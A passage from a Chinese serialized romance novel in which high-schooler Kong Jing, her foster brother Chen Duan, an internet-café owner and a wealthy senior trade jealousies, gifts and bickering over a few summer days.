“啊呀——”Lily简直想捧住孔净的脸亲一口,肩膀晃动的频率一般人学不来,很大可能闪着腰。 “其实我二十二,也是年底才满,算起来只比你弟大四岁,还很嫩对不对?”Lily对着孔净发嗲,“帮姐姐一个忙好不好?” 孔净:“哈哈,不——” “帮我跟你弟说说呗!”Lily眨眼睛。 “未成年人不能谈恋爱。” 孔净很有原则。 Lily:“不谈,先占个名额。” “可是——” “这间网吧我占大股,事成以后按辈分我叫你姐!以后杂物间都给你用,你和你弟上网全免费,饮料零食随便吃。怎么样?不够~再加码!” “……” 孔净轻轻咽了一下口水—— 作者有话说:打*号处说明:按照2016年沿海一带家教薪资中等以下时薪来算,毕竟当时的孔净只是一个准高三生。 第25章 你排斥姐弟恋吗? 孔净最近总是乱眨眼睛, 偶尔在做题时还会盯着卷子不自觉抿嘴笑。 晚上趴在床上看书时也会偷摸转过脸,一双澄澈猫咪眼目光擦过半拉的帘子,悄咪咪盯着另一张床上的人。 陈端没有吹头发的习惯,洗完澡随便用干毛巾擦两下就算完事, 潮湿额发低垂, 静明视线看似落在画册上, 实则早就被另一边的人牵引心神。 说不上来,总觉得孔净看他的眼神不太对,是……欣赏吗? 意识到这点, 陈端有些不自在。 平时在外面被各种目光注视惯了,他从来没当回事。 但孔净不一样。 陈端不知道怎么想的, 冷白长指握着画笔微微收紧力道,靠着枕头窝在床头的身体不自觉往上抻了几分。 看上去更挺拔, 更似雪松。 余光轻转, 果然看见那双猫咪眼比先前睁得更大了些, 白炽灯映在其中,比夜晚的星星还要亮。 陈端顿了下,还真是? 过了几秒,散漫屈起的长腿也伸直了些, 后背虚靠着枕头挪移, 一点一点, 很不经意的。 隔壁床传来女孩子的轻轻吸气声,陈端长指捏着画笔,收到来自孔净的鼓励。 虽然内心并不情愿,身体却很诚实:上半身和屈起的长腿呈四十五度角最佳,两条腿不要靠太拢,另一条腿应该平放, 脚踝最好越过床板悬空,脚尖——脚尖做不到绷直…… “陈端!”单人床吱呀呀响,孔净一个骨碌青蛙姿势由趴改为坐,她感叹道,“你是真的长得很好看啊!” 老式摇头风扇吹动挡帘,也吹起少年半湿额发,脸侧的热气却反方向聚集。 孔净伸长脖子,惊讶,“你耳朵怎么红了?” 笔尖在画册上一顿,少年若无其事地翻过一页,嗓音一如既往的淡,“被蚊子咬了吧。” “嗯?花露水在我这,six god,要用吗?”孔净动作很快,左右瞄一眼,一手撑在床沿,另一手伸长探下身去够放在床底收纳箱里的绿瓶子。 “……不用。” 孔净骨架小,夏天图凉快,买的绵绸短袖套装又偏大,松松挂在身上像云朵一样轻盈又舒服。 坐着站着走动时,都很妥帖,但有时在床上趴着,或者像现在这样坐在高处往低处探身,本就大一号的宽松圆领往重力方向垂坠,两截锁骨斜斜挑起,中间连接处形成一个低洼,一缕绸缎般的黑发随着她的动作滑进领口,擦蹭在牛奶状的细腻皮肤上,伸向领口以下被面料半遮半掩的白色文胸边缘。 “啪!” 陈端触电一样转过头,画册掉在床板上,起身的动作太快,双脚直接踩在地上。 没有贴瓷砖的水泥地面容易沁水,很凉,可是他皮肤滚烫,被他踩着的那一小块地方都要融化了。 “你去哪里?”孔净把绿瓶子放回原位,直起身,抬手拢了拢不听话的长发。 “不去哪。”喉咙也像被烫伤,发出来的声音喑哑低沉,滚过耳际,是连他自己都能感觉到的鼓胀。 “哦。” 孔净挠挠手,她一般在心虚、紧张、尴尬的时候会不自觉做这个动作。 “那个……” 难以启齿。 “就是……” 真不是因为无限上网和免费零食。 “啊!受不了了!”孔净眼睛一闭,“你排斥姐弟恋吗?!” 一秒,两秒,三秒…… 房间里静得只有老式风扇的转动声,咔,咔咔! 不用看,用毛孔都能感知到一种风雨欲来的气息。 孔净屏息悄悄撩起一边眼皮,隔着挡帘和单人床,少年背对着站在原地,背影又僵又烈,白玉钢板一样无声冒起火星,烧。 孔净吓了一跳,“我的意思是——” 少年忽然转过身,额发下,那双一贯静淡如水的黑眸像被浇了一瓢热油,滋啦滋啦,滚水四溅。 “你,再说一遍。” 陈端的声音很低哑,是那种小说里描写的磁性。 一种无言的张力在声线里紧绷,拉扯。 狭窄封闭的房间被这种张力充斥,瞬间变得逼仄。 孔净愣神和他视线撞击,好像也被感染,心跳鼓荡起来,脸颊也有点烧。 老式风扇继续转动着,一阵热风袭来,发梢拂过脖颈,有点痒,像被冷白指尖掠过的痒。 孔净被这个念头惊了一下,她抓起刚才随手放在床上的书,快速在脸色扇动着,猛烈撞击的两道视线被打乱,她笑呵呵地说:“啊,就是Lily姐,网吧前台也是老板,你跟她应该很熟了吧?她问我你喜、喜欢哪种类型……” 救命。 怎么又不说话了? 一秒,两秒,三秒…… 老式风扇也卡壳了吗? 倒是转啊。 孔净又开始挠手,目光到处虚瞟。 “所以,你刚才……是帮她问的?” 少年的声音一下变得冷淡,像是被兜头浇了一场冷雨,整个房间也凉飕飕的。 孔净转过脸,见他眼神冷清又乖张,还有淡淡的厌色。 “……嗯呐。” 孔净硬着头皮点头。 耳边擦过一声气音,孔净太熟悉这代表什么了。 完了,生气了。 “我可以理解成,你在帮她追我吗?” 人就是不能做亏心事,受良心谴责是一方面,被当事人无情审视更要命。 平时只觉得陈端长得高,不利于挠他后脑勺,现在,一米八五出头的少年掐腰站在面前,居高临下的姿态,顶上的白炽灯也被他遮蔽了,孔净本来是盘腿坐,被他看着看着,不知道怎么就变成了抱着膝盖。 “哈哈,没到追的程度啦。就是……”孔净顶着陈端“听你编”的目光,嘴硬道,“就是帮忙问问。” 孔净骨子里有逆反的一面,但是得被逼到某种程度才会爆发。 比如现在,不就是帮忙问一下吗?又没有下药打晕推你入洞房,什么眼神啊! 孔净清了下嗓子,哪里料到陈端先发制人,“她给你什么好处?” 孔净:………… 朝夕相处快十年,对方什么德行都再清楚不过。 孔净就算梗起脖子硬表现自己清白得很,也轻易被陈端看穿。 他表情冷得像冰,里内却像上了气的高压锅,把别人冻死的同时把自己气炸。 孔净听见他又发出一道气音,然后就看见他往门口走去,正要松一口气,这人忽然转过身,高挺身影直接往她这个方向来。 “……你干嘛?我跟你说,你要是敢像赵长一样没大没小看我怎么收拾——哦,穿……鞋啊?” 从前在石厝睡上下铺,两人的拖鞋总是摆摆正,隔着一小段距离平行放在床前。 到了这边,各睡一张单人床,孔净的床紧靠窗户,拖鞋只能摆在中间的过道,对陈端来说,进门就上床,鞋子放在那一侧应该更方便,可他每次总是多走几步绕到这边,浅灰色拖鞋和孔净的粉黄色印花拖鞋尖对尖,要挨不挨地放。 孔净看见他赤着脚踩在水泥地上走来,和她睡衣同面料不同色的灰白长裤轻轻拂过脚背,几根狭长足筋在冷白脚面上微微凸起,似晴时飞机越过长空留下的白色尾迹。 陈端穿上拖鞋并没急着走,而是站在床边,以更近的距离垂眼看着孔净——几秒前还梗脖瞪眼捏起拳头跃跃欲试的人。 “你最开始问我什么?”陈端停顿一下,语气冷清得很,“排不排斥姐弟恋?” 孔净手不动腿不动只有眼睛慢慢往上挑,“好了,这个问题略过,我已经知道答案了。” “你知道?”陈端今天晚上属蛙的,一肚子气,不然怎么第三次发出气音。 他冷笑道:“我不仅不排斥,还只喜欢姐弟恋,你知道?”! 孔净连眼睛也不动了,浅咖色瞳仁里有什么东西“嘭”地一下炸开,陈端以为是惊吓,如果是,也还好点,但—— “所以你是有喜——” 是惊喜。 陈端根本没听她把话说完,以防真的被气炸,直接转头走人。 长指握住门把手,手背上青筋暴起,可他做不出来,关上门的动作还是很轻。 “什么嘛。”孔净看着漆面不平的廉价木门,电风扇吱吱转动,落在肩头的长发被风吹起,扑在脸颊上。 她抬手拨了拨,指尖碰到脸颊惊觉怎么这么烫。 “哈,肯定是被陈端气的!”孔净四仰八叉往床上一趟。 “居然只喜欢姐弟恋……” “哇,好劲爆。” “……那到底,Lily姐……?” 孔净一顿胡思乱想,梦里Lily承诺的零食饮料在货架上跳上跳下,全部长出贴了水钻的玫红长尖美甲,朝她勾勾勾。 有点吓人。 孔净在梦里抖了抖,迷蒙中睁开一条眼缝,月光从窗户斜照进来,一个灰淡人影俯身立在她的床边,应该觉得害怕才对,但是仅仅凭借气息就知道他是谁。 “……你怎么还不睡?” 孔净迷迷糊糊说了这么一句,似乎还抬了下手,指尖顺着他覆满伤痕的小臂垂落,温热又鲜活。 孔净翻了个身,又睡着了。 这次梦见的不是Lily和她的豪华网吧,而是那年的台风天。 风好大,雨也好大。 窗外的黄葛树都被连根拔起,锈红色烟囱挣脱不锈钢绳斜倒在石厝屋顶上。 奇异的是石厝没有塌,铁门“吱呀”一声被一双湿漉漉的冷白手掌推开,少年走进屋子,带来潮气和淡淡的铁锈味。 是血。 可是他把左边手臂藏在身后,低垂着眉眼,嗓音一如既往的清淡和无所顾忌,他说:“没事,我不痛……” 早晨醒来,孔净感觉嗓子有点堵,睁着眼睛缓了好一会儿。 第26章 这个弟弟是真的有些碍事…… “今天学校补课你不去?” 房间里响起少年冷淡音调。 孔净转过头, 右手边的单人床干净整洁,黑白格子三件套还是那年买给他的出院礼物,一用就是三年多。 陈端倚在桌前,垂眼看着斜对面傻躺在床上发愣的人, 见她没说话, 拉成冷清弧度的唇线有缓和的趋势, “你……” “去!怎么不去!”孔净忽然回血。 她从床上蹦起来:“学是要上的,课是要补的,说好一年以后去北方城市上好学校, 看好雪!还记得吗弟弟?” 如果没有后面一句,陈端或许会看她一眼然后应个“嗯”字。 可现在, 他一点也不想理她。 孔净却来劲了,一早上弟弟长弟弟短的, 陈端快被她烦死。 “弟弟弟弟!谁不知道你有个弟弟?!这么喜欢揣兜里带上, 都给我滚!” 虚掩的房门忽然被人“嘭”地一下推开, 李贤梅张着没梳的头发,阴沉盯向他们。 房间里气氛一下冷凝。 “梅姨,吵着你了。”陈端站直身子,不动声色地偏转一下, 把孔净的身影挡住大半。 “吵死我才好!我死了你们都痛快!” 李贤梅昨晚守着工人们装货, 快凌晨两点才上楼。刚睡下没多久, 喝完大酒的孔大勇就回来了,回来又不睡,叼根烟屁股坐在屋里乱骂和他一起喝酒的人。 他说他们把派头都耍到他头上了,瞎了眼的狗东西!也不想想当初是谁带他们出来打工,又是谁在他们落魄的时候免费供吃又供住的!现在居然敢瞧不起他! 李贤梅听得头疼欲裂,当即就想爬起来糊他一脸泥浆。 可惜孔大勇发完誓今年一定要重振老大雄威, 恶气就算出了,倒头就打起呼噜,继续吵得她辗转难眠。 李贤梅也是觉轻,一直没睡安稳,隐约听见隔壁房间传来孔净和陈端的说话声,调子轻快,活像两只无忧无虑的小鸟,她气不打一处来,翻起身就冲过来了,连拖鞋都差点掉一只。 孔净拉好书包拉链,走到近前轻声跟李贤梅说:“妈,早饭给你和爸热锅上了,记得吃。” 因为是走读,每天早上醒来洗漱完后的第一件事就是做饭,面条稀粥之类的,不费多少时间。 李贤梅动了动嘴巴,没继续骂,一来是没睡好没多余精力,二来孔净低眉顺眼的样子也的确有几分可怜。 但她眉心的沟壑不见消,眼不见心不烦,冷哼一声甩上门就回房间了。 孔净胳膊碰碰陈端,抱着书包先一步踮起脚尖下楼。 陈端随后下来,推着自行车同孔净一起出去。 视线落在她脸上,怕她因为一大早被骂觉得不痛快,却见她没心没肺地一脚踩在脚踏上一脚在地上轻蹬几下,高高梳起的马尾在晨光中轻盈跳荡,“晚上在网吧等我,晚自习之后去找你!” “不直接回家?”陈端怕李贤梅气不消,再被她抓到把柄。 “晚点回,我找Lily姐有事!” 陈端一听孔净提Lily,关于昨晚的记忆犹如潮水般漫来,他应都没应一声,白色板鞋在地上一点,骑着车就走了。 “你等等我呀!弟弟——!” 夏日早晨的空气像加了薄荷香精,清新沁凉,孔净像只快乐小狗在后面追着少年清朗身影骑了好一段路。 快到岔道时拨动车铃,然后顺滑往右边清安高中的方向一拐。 “记得哦,等我!” 前面,陈端长腿伸直,鞋底擦着柏油路面阻停车子,转头,穿蓝白校服的轻盈身形已经被路口那丛夹竹桃遮蔽,只能恍惚看见一截黑长马尾掠过青翠叶面。 可惜说好的事情总是有变故。 晚自习课间休息,班里同学来座位喊孔净:“外面有人找你,男的,带个小女孩。” 前后排都听见了,几道目光刷地扫过来。 林语珂面露惊悚,“什么鬼配置?狗血程度跟我看过的言情小说桥段有一拼。” 孔净其实没听清,她埋头在解一道数学大题,慢半拍抬起头,“哈?” 表情迷茫,带点天然呆。 来传话的同学见自己的整蛊对当事人丝毫不起作用,不由得笑道:“嗨呀开玩笑的啦!高三生活这么苦逼,不得制造点乐子。” 她指指外头,“是上一届的孟学长,还有他妹妹。” 孟书宇是上一届的年级第一,人长得好,性格也好,无论对谁都温和有加。 清安高中私下流传的校草候选名单里,数他和陈端的拥趸最多。 一说到孟学长,大家不做他想,脑海里第一个想到的就是孟书宇。 毕竟,在清安高中的小圈子里他真的很有名。 周围人顿时目光猎奇,都想知道孟书宇来找孔净干什么。 孔净也想知道。 她从书堆里起身,就近从前门出去。 走廊上人来人往,些许光亮从洞开的教室门窗洒出来,孟书宇站在靠近花坛的那一边,浅色衣裤的装扮再加上那一对天生笑眼,有点儿书上写的世家公子的意思。 “不是我找你,是苏苏。”孟书宇开口就打消孔净疑虑,他笑着说,“你前端时间给苏苏补课,又陪她玩,她很喜欢你,老早就吵着来看你,她爸妈没时间,我也是今天才腾出空来。” 苏苏站在孟书宇身边,伸手勾住孔净食指晃一晃,腼腆模样和赵兰兰有些相似。 孔净对苏苏笑一笑,干站着不好不和孟书宇搭腔,就问他:“学长应该快要去报道了吧?” 孟书宇考很好,招生处的老师大肆拿他作为宣传材料,甚至在校门口拉了条横幅,上书“恭喜我校考生孟书宇被XXX录取”。 “快了,再有十天左右就走了。”孟书宇笑意盈盈,“你先去上课,待会下课我们再聊,哦不,是苏苏跟你聊,她想请你喝奶茶。” 孔净有些为难,但是苏苏仰头一眨不眨地望着她,勾着她的食指晃啊晃。 “还是我请你们吧。”孔净说。 孔净没有手机,进教室赶在上课铃响之前借林语珂的给陈端打去电话,长话短说,“那个我待会不去网吧了,不过也要晚点才回家……不是,是孟学长和他堂妹来了……” “谁?” 手机那端的键盘声停了,传来陈端冷冽嗓音。 “孟书宇和他妹妹。”孔净重复一遍,快速道,“你别等我,直接回去。先这样,拜拜!” “孔——” 孔净按下挂断键,抬眼,刚好看见物理老师腋下夹着一叠卷子从前门进来。 班上顿时怨声载道,“今天才刚开始补课,要不要这么猛?” “老师,现在退出暑期集训班还来得及吗?” …… 趁着发卷子的空档,林语珂快速接过手机揣进桌肚,低声问孔净:“孟学长找你干什么呀?” 请喝奶茶几个字差点就脱口而出,还好孔净脑袋转得快,以防给自己招来风言风语,她说:“传授、高考经验?” 林语珂:“呵呵。” 你们这些不要脸的学霸! 孔净提前做完所有题目,认真检查两遍后把卷子压在桌上书堆的最上边,拿出习题集接着做。 下课铃响,她赶紧收拾东西。 林语珂还在解最后一道大题,孔净满脸抱歉地从她背后挤到过道上,拎着书包溜了。 刚从教室门出来就看见后腰倚在走廊柱子上的冷清身影,孔净愣住,用力眨一下眼睛。 长长的走廊,每个班的两道门都在顷刻间涌出喧嚣人群,蓝白海洋中,陈端懒懒转过头,也看见了孔净。 他站直,穿过人群走来,像往常一样伸手取走孔净手上的包,“走了。” “等下!”孔净拽他后衣角,“你怎么来了?” 边说边转头到处找孟书宇和苏苏。 虽然拽的是后衣角,陈端领口也跟着变形,左边一截锁骨白如冷玉,从他旁边经过的女生发出“哇哇”声。 孔净对站在花坛路灯下的孟书宇和苏苏扬了下手,转过头就对上陈端死鱼一样的眼睛。 这人是不是忘了他还在生气? “啊!不好意思不好意思……” 孔净没忘,她故意的。 哪里就这么小气了? 松开他衣角,抬眼瞥见他板着的清淡面容,有点想笑是怎么回事? 孔净想帮他理一理被扯歪的领口,但他太高,习惯性拍一下他胳膊,“长矮点啦!” 属于他们两个人之间的口令。 陈端不情不愿,几秒后还是微微弯下脖子,拎着亮色书包,在人潮拥挤中垂眼注视几根纤长指尖勾住他领口轻快往右边一拉,然后拍拍他肩膀,“好了。” 动作随意,算不得温柔,甚至还有些小霸道。 他在心里轻啧一声,被孔净拉着往花坛那边走。 “你怎么来了?”孔净又问了一遍。 花坛边角锋利,陈端顺手把孔净往自己拉了点,声线平直,那叫一个高冷,“想来就来。” “今天这么闲?” 往常陈端在网吧从早待到晚,基本十点以后才会回石材厂。 “没他闲。” 陈端表情不善,微微眯眸瞧了眼斜对面那个把心思都写在脸上的人。 孟书宇看见陈端也挺意外,他笑道:“我听你姐姐说,你不参加集训。其实像你这样真的很厉害,平时不见怎么学,每次考试排名却不低。” “学长说笑了,哪能跟你比。” 陈端冷清应一句,平时从来对所谓高年级不存任何敬意的人,突然开口叫了声学长。 就……挺阴阳怪气的。 孔净眨眨眼,转头看他。 按照年龄、辈分……无论怎么算,在三人之中陈端都是最小的,但他控场能力很强,冷削下巴微微一抬,“学长想喝什么奶茶。” 表情寡淡,姿态睥睨,像极了他在游戏里操作的小人。 这样的陈端很少见,平时他都是温温淡淡,对人对事都无所谓喜欢与厌恶,什么都行,什么都不过眼不走心。 像这样忽然一下对某人表现出强烈的敌意,虽然不太礼貌,但样子莫名有些可爱。 孔净手痒,有点想跳上去薅住他头发使劲揉一揉,谁教他这么臭屁的。 孟书宇轻怔一下,笑说:“我都行。” “苏苏呢?”孔净半弯下腰,主动去牵苏苏的手。 “我也都行。”苏苏靠在孟书宇身侧,本来等得有些困了,但此刻仰起脑袋眼睛睁得晶亮。 “孔净姐姐,你弟……陈端哥哥长得好漂亮啊!”随着下晚自习的大部队往外走,苏苏忍不住和孔净咬耳朵。 孔净笑了,很少有人用漂亮来形容男生,但陈端的确担得起这两个字。 校门对面就有两家奶茶店,点单的人有点多,各人报了想喝的奶茶,陈端去排队等候。 店里统共只有几张简易桌椅,都被占了,孔净就陪孟书宇和苏苏站在店门口闲聊。 孟书宇不经意朝店内扫去,穿淡灰色运动套装的少年在队伍里鹤立鸡群,扎眼得过分,他侧对着店门,冷清视线时有时无,穿过攒动人群,轻风细雨一样落在店门外的女孩身上。 “你弟弟看你看很紧。”孟书宇当然感受到了陈端对自己的敌意,只是他没说,很宽和的样子。 他先天就把自己拉到和孔净一样的身份,认为陈端是弟弟。 但不过这个弟弟是真的有些碍事。 “啊?”孔净转头,对上陈端视线,看见他若无其事地侧回脸,孔净说,“是等无聊了吧。” 孟书宇笑一笑,“对了,有个东西给你。” 他忽然从兜里摸出车钥匙,轻轻一按,停在路边的一辆白色轿车车灯随之一闪。 清安高中不乏家境殷实的学生,但很少甚至说没有哪个学生自己有车,孟书宇本来就是学弟学妹们眼中的名人,周围来往的人都有意无意往他这边瞟。 这会儿车灯一亮,见他泰然自若地拉开驾驶座车门,大家虽然没有夸张到发出惊叫,但孔净从他们微微长大的嘴巴和交头接耳的小动作完全可以猜到这个场景对他们来说有多震撼。 孟书宇像是习惯了成为人群焦点,他脸上的笑意不经意加深,从车里取来一只长方形小盒子,外面包装精美,右上角用粉黄色绸带斜斜系了一个双层蝴蝶结。 他把盒子放到苏苏手上,让她亲手递给孔净。 “是什么?”孔净讶异。 苏苏仰头看看孟书宇,然后笑着对孔净说:“上周表哥带我去迪士尼,我们一起给你挑的纪念品。” “啊?这样好不好,等我也精心给你准备一个礼物,然后再互相交换行吗?” 孔净没去过迪士尼,好歹听阿禾说过,门票贵到离谱,里面的消费也属天价。 “可是送礼物是不要求回报的,只是想表达我喜欢你,如果变成交换的话,和做生意有什么区别?” 孔净没想到苏苏的木只是针对学习,这会儿突然讲起道理来一下让她哑口无言。 苏苏两手捧着礼物盒,孔净犯难。 “奶茶好了。”陈端从店内走出来,修长食指勾着打包袋横到他们中间。 孟书宇去接,不知怎么手掌碰到陈端,陈端小臂往旁边一挪,手肘恰好挨到苏苏,她像是没拿稳,手里的礼物盒一下掉到地上,骨碌碌滚向旁边。 “掉了!!”苏苏惨叫一声,瘪着嘴像是要哭出来。 孔净赶紧把盒子捡回来,轻轻拍了拍,“没事没事。” 孟书宇说:“这个不喜欢,下回我们重新选个新的再送来好了。” “下回是什么时候?!”苏苏真的哭了。 孔净本来是不想收的,苏苏一哭,可怜巴巴的样子,她只好表示非常非常喜欢她送的纪念品。 “真的吗?”苏苏抽抽搭搭,“可是刚才都掉地上了。” “没事呀,又没弄脏。”孔净解开蝴蝶结,铺满斑斓拉菲草的盒子里有一条香槟色的米奇头像手链,在奶茶店招牌灯的照耀下闪着细碎荧光。 很精美,也很梦幻,符合大家对迪士尼童话乐园的想象。 孔净把手链搭在右手腕上比了比,“是真的很漂亮,谢谢苏苏!” “是表哥和我一起挑的。”苏苏不哭了,笑着强调。 孔净顺着她的话转向孟书宇,“也谢谢学长。” “不客气,你喜欢就好。”孟书宇说。 “喜欢喜欢。” “姐姐,我帮你戴!” 孔净想说不用,苏苏已经把手伸来,孔净就只好由着她帮忙把扣头扣上。 “姐姐你戴着好好看!”苏苏仰头对着孔净笑。 孔净晃了晃右手腕,的确很好看,“谢谢!” 孟书宇才想起来似的,转头跟陈端说:“不好意思,忘了给你也挑一个。” 陈端余光扫过孔净手腕,冷白眼皮轻轻撩起,看向孟书宇。 刚才那一下,他是故意的。 “现在去挑也来得及。” 孟书宇一愣,没想到陈端会这样说,真没礼貌啊。 孔净胳膊肘捣捣陈端,笑着把话圆回来,“没有啦,他跟你开玩笑的。” “我想也是。”孟书宇挑一下眉,示意一下手里的打包袋,“谢谢请我们喝奶茶,时间不早了,不耽误你们回家了。” “拜拜!” 孔净看着他们坐上车,苏苏把脑袋探出车窗大力挥挥手。 白色轿车朝前面路口驶去,苏苏坐在副驾上看见后视镜里孔净和陈端站在一起,两个身影纵然在夜色中也亮眼。 “表哥,为什么说是我要送的啊?是谁教我不要撒谎?” “在迪士尼好像是你先提买一个纪念品给孔净姐姐。”孟书宇两手搭在方向盘上,笑着回应。 “可是我提是我选和我付钱,而不是你选你付钱。这不一样。”苏苏嘟起嘴巴不太乐意的样子。 孟书宇空出一只手轻拍一下她发顶,“那下次你自己再送一个。” “下次也送陈端哥哥一个。” 孟书宇想起陈端看自己和看孔净的眼神,“好啊。” 第27章 胳膊拧不过大腿 孔净又看了看手腕上多出来的链子, 指尖拨了拨米奇挂坠,有些苦恼,“该回送什么给苏苏呢?现在的准初中生小女孩都喜欢什么?” 陈端:“采蘑菇。” 孔净白他,“干嘛嘲笑我?” 孔净整个小学和初中阶段, 课余时间除了看杂志就是去石材厂后面那片森林里采菇, 但又不是真的爱采蘑菇才去的, 都是为了攒零花钱。 陈端没说话,帮孔净把奶茶插上吸管。 孔净接过奶茶,眼睛一直看着陈端, “你怎么了?看起来不太高兴。” “没,我高兴得很。” “……” 因为陈端来了, 孔净就没去车棚取自己的车。 她侧坐在自行车后座上,一手虚搭在陈端腰上, 另一手拿着奶茶送到嘴边猛喝一口, 茉莉花香、茶香和奶香激发味蕾, 在口腔中起舞,她小声发出喟叹,“真是个美妙的夜晚。” 陈端语气不太妙,“因为奶茶, 还是手链?” 关手链什么事? 她只当陈端还在为昨晚的事生气。 但这么多年的朝夕相处, 孔净早就摸清楚陈端的脾性, 只要她愿意,一句话就能把人哄得找不着北。 孔净搭在他腰上的手小猫爪一样习惯性挠两下,“当然是因为奶茶!因为你给我买的奶茶!!” 这句之后,前面的人没搭腔,为了便于观察,孔净整条胳膊环住陈端的腰以此借力, 上半身往后仰,果然看见他一边脸颊上闪现一枚逗号。 夏日漫长,月光也被烘得软热,分明是真的还在生闷气,也听出孔净是在故意哄人,但他还是忍不住勾了勾唇。 孔净不习惯戴饰品,那条米奇手链在手腕上没两天就感觉硌得慌。 长时间写卷子做习题集,手腕搭在桌沿上,链子就在皮肤上印出深深的米奇头像,有时候还感觉有点痒。 孔净只好让林语珂帮忙把手链解下来。 “好漂亮啊。”林语珂其实早就注意到了,只是一直装没看见。 这会儿她实在没忍住,用手心托着米奇手链欣赏了好一会儿,跟孔净说,“这个颜色看起来像18K真金,很贵吧?” “哈?应该不是真金……吧?苏苏说在迪士尼乐园的纪念品店买的。”孔净不太确定,她最近没事就在思考回送什么给苏苏比较好,如果是18真金……虽然价格要比24K黄金便宜一些,但无论怎么说都超出了孔净的荷包承受能力。 真是让人头大啊。 “苏苏?”林语珂想起来了,“是孟学长的堂妹,你给她当家教的那个苏苏?” 孔净单手侧撑着脑袋,点头。 “真不愧是孟学长的堂妹,家里都好有钱。”林语珂咋舌,有些羡慕地说,“你运气怎么这么好?本来当家教就有的赚,还能收礼物。” “运气是好。不过,”孔净说,“家教是凭劳动赚钱,礼物也不是白收,一来一去,暑假赚的那些一下要掏出去好些。” “你还要买东西送还给苏苏?”林语珂不理解,“不用这么刻板吧。送礼物就是送心意,人家送你,你就收下好了,不然显得好刻意。而且,他们家那么有钱,一般的礼物人家也看不上吧。” “你前面一句还说送礼物就是送心意,怎么后面又说一般的礼物苏苏看不上。”孔净笑着指出林语珂话语里的矛盾之处。 林语珂被噎了一下,她把手链还给孔净,“反正送不送都是你的事,我就随便一说。” 本来要从小金库里支出一笔不少的金额买回礼,对孔净这个伪财迷来说就够肉痛的了。 但是,晚上洗完澡去摸换下来的衣服口袋,居然发现手链不见了。 “……” 孔净如遭雷劈,把衣服裤子抖了个遍,甚至连装衣服的桶都里外摸一圈。 没有,没有,到处都没有! 她灵魂出窍,靸着拖鞋就往楼下冲。 楼下的浴室也是公用的,但是工人宿舍那边也有浴室和洗手间,他们一般都不往这边来,所以这边的浴室基本只有孔净一家在用。 她洗完之后上楼,陈端就下去了。但因为看见浴室门是半开着的,里面又没开灯,孔净着急忙慌就以为里面没人,哗一下冲进去,门板磕到什么东西,听见里面传来一声细微的闷哼。 孔净一愣,“对不起——” 紧接着就想退出去,却听见对面的人问她,“怎么了?” 孔净松一口气,还以为撞上了其他人。 “你怎么不开灯啊?”她问。 “灯坏了。”陈端说。 “啊?刚才还是好的。” 浴室昏暗,湿度很高,显得格外闷热,孔净站在门口,身后不远处的厂房灯光照过来,隐约可以看见陈端站在莲蓬头下的身影。 这具身体挺拔、精壮,和平日里给人的清爽朗俊感觉很不一样。 孔净思索着是哪里不一样,背着光,眼睛很快适应这个狭窄空间,视线穿过漂浮在空气里的细密水汽,描摹出他线条优美而肌肉紧实的肩背和腰线,以及—— “你洗澡为什么不关门?!!!” 孔净大脑轰地一下炸开,触电一样,赶忙往后退。 浴室和外面的水泥地有十来公分的高度差,她一脚踩下去差点摔个屁股墩,两手条件反射地去扒拉门框。 后面厂房的灯光随着她身体移动,得以更深地照进浴室里面,而她不经意晃眼看过去,那个背对着站在阴影和水汽里的身影,轮廓又比刚才更清晰了几分。 陈端:“我——” “嘭!” 孔净摸到门把手,拽住,用力往前一拉。 门关上了。 她站在水泥地上有好几秒都忘了接下来该干什么。 过了一会儿,哗啦啦的水流声从浴室门板后面传来,那水好像也浇在了孔净身上,她一下回神,转身跑上楼。 楼梯间没安灯,李贤梅刚好从二楼下来,眼见一个披着长发的白色人影迎面往上撞,正是农历七月,要不是眼尖认出是孔净,她估计要吓个半软。 “乱跑什么?后面有鬼在追你啊?!”李贤梅问她。 “没有。” 孔净声音闷闷的,有点飘忽。 她侧身站在台阶上,让李贤梅先过。 后背抵着清水砖墙应该觉得硌人才对,但墙面的凹凸又尖又软还有点潮,浴室的水汽好像弥漫到了这里,把那些坑洼都淋湿浸软了。 李贤梅往下走了几级台阶,觉得孔净不对劲,忽然停下来,回头,“你傻愣在哪儿干什么?” “啊?没,好热……” 孔净牛头不对马嘴,赶紧上楼。 陈端用毛巾擦着湿发进屋的时候,孔净正盘腿坐在自己那张床上,电风扇对着吹还不够,手上还拿本旧杂志在脸边快速扇。 如果像Lily一样做成长尖美甲的话,黑发飘飞的样子可以去cos梅超风。 “有这么热?” 陈端嗓音淡淡的,跟平时没什么两样。 孔净沉默震惊,真淡定啊。 她两只眼珠子往他那边移动,木然质问:“你洗澡为什么不关门?” “灯坏了。”陈端继续擦头发。 孔净:“这是理由吗?” 陈端:“为什么不是?” 孔净:“你,洗澡,不关门!不怕被别人看见——” 陈端:“不怕。” 孔净:“会给别人造成多大的心理阴影!!!” 这才是重点! 孔净把手里的杂志捏得咔咔响,两只眼睛睁圆,脸颊红扑扑的,心理阴影是很大了。 陈端擦头发的动作一顿,毛巾就这么搭在湿发上,站着床边用一种清白好商量的目光,居高临下地看着她。 孔净:?? 陈端:“正常人听见里面有水声,起码会问一声有人吗。” 孔净:“哈!怪我啰?” 你小子—— “而且我又没脱裤子,你哪儿来这么大阴影?” “啊?你洗澡不脱裤子?!” 更奇怪了。 陈端表情纯良,“怕被人偷窥。” 孔净一下在床上蹦起身,她如果有陈端那么高的话,脑袋肯定会把天花板砸出一个坑来,可见有多激动了。 “陈——端——!!你说谁偷窥?!!” 陈端被她吼得轻轻掏了下耳朵,“没说你,说厂里那些觊觎我美貌的嬢嬢。” 孔净:“……不要脸。” 脑补了一下嬢嬢们脑袋堆脑袋趴浴室门边偷窥的画面,咦…… 陈端瞧了眼站床上一手掐腰一手指着他,表情明显还有点气鼓鼓的孔净。 忽然有点怀疑,刚才在楼下好好洗着澡却忽然被人打断并看了的人,其实是孔净,而不是他。 但,就只是看了个背面而已,至于这样? 也对,这人前些天还要帮认识没几天的网吧姐姐追他来着。 陈端轻啧一声,莫名不爽。 陈端擦完头发就躺床上去了,躺之前还用脚踢了下电风扇,让它对着自己吹。 孔净:??? “起来。” 孔净站在床上,金鸡独立的姿势,另一只脚伸很长,伸到那边床上,陈端是怎么踢风扇的,她就怎么踢他。 陈端斜睨她一眼,伸手就把她伸到这边的左脚脚腕圈住,“干什么?” “喂……” 还好孔净扶着墙,用来保持重心的右腿立马弯曲,才没摔倒。 陈端其实有分寸,在她喊出声之前就已经放开她。 但是又被踢了一下。 “嘶。”他转头。 孔净:“起来。” 再踢。 不起来继续踢。 陈端:“孔净……” “快点!” 就是踢。 “……” 